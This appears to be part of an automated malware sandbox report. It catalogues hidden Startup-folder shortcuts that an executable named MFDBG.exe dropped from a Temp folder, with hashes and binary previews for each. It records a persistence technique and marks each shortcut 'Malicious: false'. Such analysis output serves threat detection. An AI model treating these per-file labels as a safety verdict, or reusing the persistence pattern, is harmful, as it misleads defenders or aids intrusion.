Preview:	L..................F...."...]W%.{.....{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bf4e12728eed47fe9359b1e32d2ddb56.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944275040589791
Encrypted:	false
SSDEEP:	24:8bBhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81D0R6rMhpBoUBxdRd1nYyg
MD5:	9C651F8C4D2B41D0F7D5168E4BD9347C
SHA1:	8F7B294BC22977526225A7AE6141E293F7091579
SHA-256:	377C910698611322EC3A22948DF1DF6FE91CCA2830FA0304ED6C0187FA153863
SHA-512:	7CF3A5FE127635059E27705ABF10317F97A0CCE6DA4A8DC9D23CF19BACB258CF7D90D37567199CE228B20B3F622F8CF390DBCEEBD1E6267D770C5DFAA90386A8
Malicious:	false
Preview:	L..................F...."...]W%.{...!..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bfac68d9ea5743b582369b6dc35a8c6b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939434721141928
Encrypted:	false
SSDEEP:	24:87hBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/90R6rMhpBoUBxdRd1nYyg
MD5:	79AE7F8FAFFC92F5A91F630923C0C979
SHA1:	C441284BAE3EB96A848E6FC5D5BB645351731A62
SHA-256:	05F618816E9C28670EC7385D250E03F8E905B1E6EF5E03E3CAE929AF408E007A
SHA-512:	2A651DB612E902BC68D080CE4BFED706162DAE6A4297B28F8D80C7E72F3D8624DF68A246E6D303F87541C21AD4674BCA21A81CA4225156BE2B08C9028171BD57
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0133a9a266c474bb15d0b59916863bd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943266012371529
Encrypted:	false
SSDEEP:	24:8MhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+a0R6rMhpBoUBxdRd1nYyg
MD5:	4CE347113F55FACE472F7398D8294C1F
SHA1:	A2321C42B2053174C629C2163F2AC271EBB45EF1
SHA-256:	17F76E3F2070A14861828053F355D8AF1C5397304E497DEC96DCA5849B4253FF
SHA-512:	3CC18308B8AB3183C4F89FF7DC2575B47838E9B8D8779B7D99B677FA9B781B095D13C41C6A9E04F486191BFFBBA04C984A8468FA985C70E3CA8E9253DF301C3D
Malicious:	false
Preview:	L..................F...."...]W%.{....\|..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0253a757bce4f23a63591497c29c69e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937658498735759
Encrypted:	false
SSDEEP:	24:8dPhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dT3C0R6rMhpBoUBxdRd1nYyg
MD5:	63140B0E6E647A94F79040814F1951F4
SHA1:	5EF2263B1A77DEC675573CB5E529477C7D557C9B
SHA-256:	5C4F16F8F823A1D78F73242E008DF5D313FBC1B5417EEBE3DD127B8503DE1CCD
SHA-512:	AFE2D5B3CE2333F0056F2375869C614DA765F9178E13C0B0C27EBECC37572FAA1A4F1A5DFECF8CD5E7D1E600443E6B648ACA27B18281737033B5BC1AAD7F4FA9
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c0f3f84e12244eeabed9c2c4dfa460e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944706956885539
Encrypted:	false
SSDEEP:	24:81hBfU+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lcT0R6rMhpBoUBxdRd1nYyg
MD5:	E723D8F3121EAEEB59813394B79C6F3A
SHA1:	7D440F7FD2ED707B098223988159610FBC82C3C3
SHA-256:	3460156B3CF440C872229755F5D8D3A7E3F13122D4F5615737294E20E5306504
SHA-512:	035B4DFC34B92FBDB62112847C5EE61B8596D2B858C18C971FCAF6B354FD56A8ED9BB2120C2230F6F3622C8E8A6AC4F7BB7252B1649FBABF63D7213682828E5F
Malicious:	false
Preview:	L..................F...."...]W%.{...Kv..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Q(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1018111a58b4311852c93aa20af5b5d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93248048380749
Encrypted:	false
SSDEEP:	24:8MhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+i0R6rMhpBoUBxdRd1nYyg
MD5:	3F156057ED48FE5831C6890900CFDF30
SHA1:	486415F771BAC08F93D496E252B73C88942546D6
SHA-256:	22FAD09C530C8E272F810D5D867D300C83CCF5DEFFAF6A082595DCB470FF9F0B
SHA-512:	519A7128E30F1F8B63AE6BDE41AAAD901D4EAA90A5A0C06DFB87C51F83EFC4ACC5F6503E9CD92248FAFD1E5013A9B742EB8CCDD7425F3C0BE21A896A77698972
Malicious:	false
Preview:	L..................F...."...]W%.{....V.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c141824c9440408d8da30f5d3ab1160b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9382534838883485
Encrypted:	false
SSDEEP:	24:8vhBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zL0R6rMhpBoUBxdRd1nYyg
MD5:	27A9573637E76ED9A8E4859AB8C84FB9
SHA1:	5313ED1D29EB435FAC7C5471BC5658C103C46091
SHA-256:	A19323121A36732650828715FDD8678FB1ED606477079FE849B3693C133FB358
SHA-512:	9EF2C549449E7A6DDECEFABEA675C898AB016880F97A8CA3342E7BD5A0ED8FF79F71925297ACB6481CEB40701E5AA74DB7F0EE5A38B20F0052295471B283EDD4
Malicious:	false
Preview:	L..................F...."...]W%.{...\|}..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1ba56bbbd55421e877d43b1043c0b9c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936129567023416
Encrypted:	false
SSDEEP:	24:8ChBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oe0R6rMhpBoUBxdRd1nYyg
MD5:	FC085AFD90288D9456545DE44B51EB47
SHA1:	4C7C197D98D20D440822BAFF2230D2C2883606F9
SHA-256:	AF873F818E5F6E6719DBA8AB1257CBCA944F5EE955C3B5D9ACF6EC27011BA16E
SHA-512:	6538109ABCC07F84F08780DE63210C05E0B2887B66C99D9F9D388CBC3BC3CDC207545CFBC355A97E282FEB278E6A59C6534D66B2C29B67B2B4CF41C69C215FBF
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1ca3351b2b04078a903c3367a8fd27e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9357382830317205
Encrypted:	false
SSDEEP:	24:81hBffD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8l3Q0R6rMhpBoUBxdRd1nYyg
MD5:	D18DE80F6A66897C524EBA58AAC058A9
SHA1:	5513640ABC89EE6A3075C9FF860773C8706644AB
SHA-256:	555EBD99CF032064385854DE814AD8DF23CE9F6D863724905830B9BAEFD24A82
SHA-512:	29E2890148F6989CD86C475D7900CE393A0CB74BDBC38606A2858C6328D6A88041F970B5060227E6E5B334947948E5F5832E691E597923207EBADCFA2B84E40B
Malicious:	false
Preview:	L..................F...."...]W%.{....S..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c223b32efe5547e2a3f8b745db182b0f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942476059109644
Encrypted:	false
SSDEEP:	24:8vhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zd0R6rMhpBoUBxdRd1nYyg
MD5:	10F541D1B5BA3B5855D8CF8B5FB5B08A
SHA1:	328898E05C6190F7BE298BF757B9E7C0E39F127F
SHA-256:	2A30FABCAA4521D43615013DCB9273A605AD1FB1BD0867A4362DBC42011ECE0A
SHA-512:	939C6F4A94DA13E5BC86097D22F255CD118F77374592D45395E191366BE74A793F72A992225BA7DF2D33FD496B7CB73164AE162DC4E971104CE993BC1B5D5CE5
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c26e81fdad5c4066a40cdf36abd223d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9407735705888784
Encrypted:	false
SSDEEP:	24:8JhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Jy0R6rMhpBoUBxdRd1nYyg
MD5:	F2C2DD0087EF5C185928EF864BD37AF5
SHA1:	BB71280F1F0AC5852E0FBD0E2AA6481E21861FC4
SHA-256:	4FBEABEE9DD92060F5FCD7B7F36D206E6B9B031413DEE9362D3D818D1FA5259E
SHA-512:	908ED70B190F2AB8E771FD5D9E8EA540253E7374FE17207CEC165D67ABE4C98759A15B6D577AB81D0BC96A976CD765BAD861B145E0AFCD3F8B818034899DBFAD
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c28c27afbfd748d2b91dd95569be9371.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942154458887913
Encrypted:	false
SSDEEP:	24:8HhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8b+0R6rMhpBoUBxdRd1nYyg
MD5:	C012C926A4A7C25A94590EF4B0E89837
SHA1:	3B3B1CC68739465507D14764BF7E7039EC0F9C30
SHA-256:	43181DA05D12870AD5421FD0CEE59AA07AB5D044D36F52EA24AE344AFF3180C5
SHA-512:	0EA8408C9A5957FAF15D4BD6CC65D5C35BCEFCE0555455D81C33F5D932D6E584F4F88DBAA297198EF227E4B5F5460E02369EF165B110C568C41235EB70FD6D0F
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2916b6ca2874a76be4a319c6a588fb7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936240313295726
Encrypted:	false
SSDEEP:	24:8phBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pS0R6rMhpBoUBxdRd1nYyg
MD5:	6FD2FCE373C314AB73EB8F8A85C325F7
SHA1:	D52220B08B3E4F0E04ACF785CF990D414886D95F
SHA-256:	0D0E767A751925342AE72B7E48E74AE6778AA1178C96E2A32A22FB57093F4D75
SHA-512:	9973D35E1381673D9B48B41AB756B9F338F7260F4DC0793880E7AA03E29CD90C9E82AE7ED7570D3ED7E7DBAB1B0B1B6A09A612AD28AFF299D51DE30EA1CA625E
Malicious:	false
